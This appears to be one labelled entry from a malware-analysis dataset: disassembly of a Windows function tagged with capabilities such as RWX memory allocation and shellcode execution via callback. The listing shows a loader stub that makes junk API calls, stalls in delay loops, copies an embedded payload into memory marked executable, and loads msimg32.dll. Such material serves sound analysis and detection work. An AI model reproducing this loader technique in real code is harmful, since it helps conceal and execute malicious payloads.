Function at 0x401320
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get hostname

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword [0x8c0060]
sub esp, 0x4ac
push ebx
push esi
push edi
cmp eax, 0x5b1
jne 0x4013c2
lea eax, [esp + 0xc]
push eax
push 0
push 0
lea ecx, [esp + 0x28]
push ecx
push 0
lea edx, [esp + 0x27]
push edx
push 0
mov dword [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_BackupRead]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push str.dudaduma
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
push 0
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
call fcn.00401ade
push 0
push 0
call fcn.0040197e
add esp, 0xc
push 0
call fcn.00401d94
add eax, 0x1134b
push eax
push 0
mov dword [0x8c0060], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edx, dword [0x8c0060]
lea ecx, [esp + 0x18]
push ecx
push 0x40
push edx
push eax
mov dword [0x8befb4], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceGammaRamp]
xor esi, esi
cmp esi, 0x2710
jge 0x40140b
lea eax, [esp + 0xb8]
push eax
push 0
call edi
inc esi
cmp esi, 0x1ff49ccc
jl 0x4013f7
xor esi, esi
cmp dword [0x8c0060], esi
jbe 0x401467
mov edi, dword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea ebx, [ebx]
mov ecx, dword [0x8c0064]
mov dl, byte [ecx + esi + 0x1134b]
mov eax, dword [0x8befb4]
mov byte [eax + esi], dl
cmp dword [0x8c0060], 0xa8
jne 0x40145e
push 0
push 0
call edi
lea ecx, [esp + 0x20]
push ecx
call ebx
inc esi
cmp esi, dword [0x8c0060]
jb 0x401430
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
xor eax, eax
mov dword [esp + 0xc], eax
mov edx, dword [0x8c0060]
add edx, eax
cmp edx, 0xe
jne 0x4014d3
push 0
push 0
push str.axugu
call esi
push str.vovufizifibonetebow_sef_cewuzigo
call edi
push 0
call ebx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
mov eax, dword [esp + 0xc]
inc eax
cmp eax, 0x39621
mov dword [esp + 0xc], eax
jl 0x40147f
call fcn.004011f0
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
lea esp, [esp]
call edi
cmp esi, 0x26
jne 0x4014fc
call fcn.00401300
inc esi
cmp esi, 0x6753f
jl 0x4014f0
mov esi, dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
mov ebx, 0x7b
jmp 0x401520
cmp dword [0x8c0060], 0x86
jne 0x401532
push 0
push 0
call esi
cmp dword [0x8c0060], 0xf
jne 0x401546
push 0
push 0
lea ecx, [esp + 0x1c]
push ecx
call edi
sub ebx, 1
jne 0x401520
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret